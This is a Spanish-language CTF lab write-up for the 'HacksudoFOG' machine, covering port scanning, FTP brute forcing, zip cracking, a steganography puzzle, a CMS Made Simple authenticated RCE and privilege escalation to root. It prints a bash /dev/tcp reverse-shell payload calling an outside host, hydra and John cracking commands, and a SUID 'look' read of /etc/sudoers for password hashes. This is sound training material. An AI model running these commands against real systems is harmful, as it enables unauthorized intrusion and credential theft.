**Informe Profesional sobre la Máquina CTF "HacksudoFOG"**

**Introducción**

El presente informe tiene como objetivo detallar los resultados y pasos realizados durante el análisis y explotación de la máquina CTF "HacksudoFOG". Esta actividad se llevó a cabo con el fin de evaluar la seguridad de la máquina y poner a prueba nuestras habilidades en el ámbito de la seguridad informática.

**Resumen de Actividades**

A continuación, se presenta un resumen de las actividades realizadas durante el análisis de la máquina CTF "HacksudoFOG":

1. **Escaneo de Puertos:**

Se utilizó la herramienta Nmap para identificar los puertos abiertos y los servicios en ejecución en la máquina objetivo.

* Puerto 21/tcp: Servicio FTP (Pure-FTPd)
* Puerto 22/tcp: Servicio SSH (OpenSSH 7.9p1 Debian 10+deb10u2)
* Puerto 80/tcp: Servicio HTTP (Apache httpd 2.4.38)
* Puerto 111/tcp: Servicio RPC (rpcbind 2-4)
* Puerto 443/tcp: Servicio HTTP seguro (Apache httpd 2.4.38)
* Puerto 2049/tcp: Servicio NFS ACL (RPC #100227)
* Puerto 3306/tcp: Servicio MySQL (MySQL 5.5.5-10.3.27-MariaDB-0+deb10u1)

***Comandos:***

* ***nmap -sS -sV <IP>***
* ***nmap -sC -p22,80,443 <IP>***

1. **Análisis de Directorios:**

Con Gobuster: Se utilizó la herramienta Gobuster para buscar directorios y archivos ocultos en el sitio web.

* /cms: Redirecciona a http://192.168.20.31/cms/ (Status: 301)
* /fog: Redirecciona a http://192.168.20.31/fog/ (Status: 301)
* /server-status: Acceso prohibido (Status: 403)
* /dict.txt: Archivo encontrado con éxito (Status: 200) [Tamaño: 1798]
* /index.html: Archivo encontrado con éxito (Status: 200) [Tamaño: 853]
* /index.php: Redirecciona a /fog/index.php (Status: 302) [Tamaño: 0]
* /index1.html: Archivo encontrado con éxito (Status: 200) [Tamaño: 329]

Se realizó otro análisis en el directorio /cms con el mismo comando:

* /modules: Redirecciona a http://192.168.20.31/cms/modules/ (Status: 301)
* /uploads: Redirecciona a http://192.168.20.31/cms/uploads/ (Status: 301)
* /doc: Redirecciona a http://192.168.20.31/cms/doc/ (Status: 301)
* /admin: Redirecciona a http://192.168.20.31/cms/admin/ (Status: 301)
* /assets: Redirecciona a http://192.168.20.31/cms/assets/ (Status: 301)
* /lib: Redirecciona a http://192.168.20.31/cms/lib/ (Status: 301)
* /tmp: Redirecciona a http://192.168.20.31/cms/tmp/ (Status: 301)

En el directorio /dict.txt se encontró un archivo de diccionario de datos, el cual se descargó o se creó un archivo con los datos que contiene.

Se revisó toda la página web y se recopilaron posibles usuarios encontrados en los posts de la página, los cuales se guardaron en un archivo llamado "users.txt".

***Comandos:***

* ***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt -***
* ***gobuster dir -u*** [***http://192.168.20.54/cms -w /usr/share/wordlists/dirb/common.txt***](http://192.168.20.54/cms%20-w%20/usr/share/wordlists/dirb/common.txt)

1. **FUERZA BRUTA - CRACKEO A FTP**

Se realizó un ataque de fuerza bruta al servicio FTP con los siguientes resultados:

* [21][ftp] host: 192.168.20.31 login: hacksudo password: hackme

***Comandos:***

* ***hydra -L users.txt -P dict.txt ftp://192.168.20.31***

1. **ANALISIS FTP**

Se encontraron los siguientes archivos en el servidor FTP:

* -rw-r--r-- 1 0 0 63 May 5 2021 authors.txt
* -rw-r--r-- 1 0 0 0 May 6 2021 installfog
* -rw-r--r-- 1 0 0 1573833 May 6 2021 secr3tSteg.zip

**El archivo "authors.txt" contiene la siguiente información:**

hacksudo CEO & Founder = vishal waghmare vishal@hacksudo.com

***Comandos:***

* ***ftp <IP>***

1. **ANALISIS AL ARCHIVO .ZIP**

Se realizó el proceso de cracking de la contraseña para el archivo "secr3tSteg.zip" utilizando la herramienta John the Ripper. El resultado se almacenó en el archivo "hash.txt". A continuación, se muestra el contenido del archivo hash:

***secr3tSteg.zip:$pkzip$21108249a86a85e0eb3b1d0157def125e479c1880a549c671407028c352ac8e2fb7c8eb4213a1211b02202317dd73d9b0180294440239ab0a9f47973078ed7f7e7ca612b102aa4995439388afb75ccffee70f2ed71f47c321ed49d\*$/pkzip$::secr3tSteg.zip:secr3t.txt, hacksudoSTEGNO.wav:secr3tSteg.zip***

Después de realizar el proceso de cracking, se obtuvo la contraseña "fooled" para el archivo "secr3tSteg.zip".

Para descomprimir el archivo ZIP, se obtuvieron dos archivos: "hacksudoSTEGNO.wav" y "secr3t.txt".

**El contenido del archivo "secr3t.txt" es el siguiente:** localhost = server IP

***Comandos:***

* ***zip2john secr3tSteg.zip > hash.txt***
* ***john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt***
* ***unzip archivo***

1. **ANALISIS EN EL DIRECTORIO /INDEX1.HTML**

En el codigo fuente encontramos:

!-- caesar-cipher ==? https://github.com/hacksudo/SoundStegno --!>

<!-- box author : hacksudo --!>

Descargamos el archivo soundstegno de la url https://github.com/hacksudo/SoundStegno

y lo pasamos al escritorio

**ANALISIS ARCHIVO .WAV**

Usamos el comando: python ExWave.py -f ../hacksudoSTEGNO.wav

Resultado:

Your Secret Message is: Shift by 3

ABCDEFGHIJKLMNOPQRSTUVWXYZ

DEFGHIJKLMNOPQRSTUVWXYZABC

zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR

**DESCIFRADO DEL MENSAJE**

Nos dirijimos a la pagina <https://www.dcode.fr/caesar-cipher> y colocamos el mensaje para descifrar zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR

**Resultado:**

wwww.localhost/fog Username=fog:password=hacksudoISRO

Tuvimos acceso con las credenciales del paso anterior

1. **ACCESO A LA MAQUINA HACKSUDOFOG**

Para acceder a la máquina, realizamos una búsqueda de exploits del CMS Made Simple. Probamos con el método "CMS Made Simple 2.2.15 - RCE (Autenticado)", el cual consiste en los siguientes pasos:

1. Iniciamos sesión como usuario administrador y navegamos a Extensions->User Defined Tags.
2. Agregamos el siguiente código como carga útil (payload):

exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.56.1/4444 0>&1'");

1. Hacemos clic en la nueva etiqueta definida por el usuario y utilizamos la función "Run".

Luego, configuramos nuestra terminal para recibir la conexión inversa utilizando el comando "nc -lvp 4444", lo que nos proporciona acceso a la máquina.

**En cuanto al tratamiento de la terminal, realizamos los siguientes pasos:**

Ejecutamos el comando "python3 -c 'import pty; pty.spawn("/bin/bash")'" para mejorar el tratamiento de la terminal.

Presionamos "Ctrl + Z" para suspender la sesión.

Ejecutamos el comando "stty raw -echo; fg" para configurar adecuadamente la terminal.

Reiniciamos la terminal usando el comando "reset".

Nuevamente, presionamos "Ctrl + Z" para suspender la sesión.

Establecemos las variables de entorno con los comandos "export TERM=xterm" y "export SHELL=bash".

Configuramos el tamaño de la terminal con el comando "stty rows 28 columns 148".

Con estos pasos, logramos tener acceso a la máquina y tener un tratamiento adecuado de la terminal.

1. **ELEVACION DE PRIVILEGIOS DE USUARIO**

Para la elevación de privilegios a ISRO, utilizamos el comando "find / -perm -u=s -type f 2>/dev/null -ls" para buscar archivos con el bit SUID activado. Entre los resultados, encontramos el archivo "look" que nos permite leer archivos en modo root.

Por ejemplo, ejecutamos el comando look '' /etc/sudoers para obtener el hash de las contraseñas de los usuarios "isro" y "root". Luego, utilizamos la herramienta "john" junto con el archivo "hash.txt" y el diccionario "/usr/share/wordlists/rockyou.txt" para intentar crackear las contraseñas. El resultado obtenido es "qwerty" para el usuario "isro".

Con la contraseña "qwerty", logramos cambiar al usuario "isro" y con ello podemos cambiar de usuario su isro

***Comandos:***

* ***find / -perm -u=s -type f 2>/dev/null -ls***
* ***look '' /etc/sudoers***
* ***john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt***
* ***su isro o ssh isro@<IP>***

1. **ELEVACION DE PRIVILEGIOS ROOT**

Para la elevación de privilegios a root, descargamos el archivo "linpeas.sh" y lo ejecutamos en el directorio "/tmp". Encontramos una mención a "/home/isro/fog/fog". Al ejecutar el archivo "./fog", aplicamos el tratamiento adecuado a la terminal utilizando el comando "import pty; pty.spawn("/bin/bash")", lo que nos otorga privilegios de root.

De esta manera, logramos elevar los privilegios al usuario "isro" y luego a root.

**Conclusiones:**

En este informe, se ha documentado el proceso utilizado para realizar el CTF de la máquina hacksudoFOG. A través de la enumeración de servicios, el análisis de directorios, la identificación de vulnerabilidades y la explotación de las mismas, se logró obtener acceso a la máquina y elevar los privilegios a los usuarios "isro" y "root". Se destaca la importancia de seguir buenas prácticas de seguridad, como el mantenimiento actualizado de los sistemas y la gestión adecuada de contraseñas.

**Recomendaciones:**

* Con base en las vulnerabilidades identificadas durante el análisis, se sugieren las siguientes recomendaciones:
* Actualizar regularmente el sistema operativo y los servicios utilizados.
* Implementar contraseñas seguras y utilizar políticas de cambio periódico de contraseñas.
* Realizar pruebas de penetración y auditorías de seguridad de forma regular para identificar y corregir posibles vulnerabilidades.
* Limitar los privilegios de los usuarios y aplicaciones a lo estrictamente necesario para minimizar el riesgo de acceso no autorizado.
* Mantenerse actualizado sobre las últimas vulnerabilidades y parches de seguridad en los sistemas y aplicaciones utilizadas.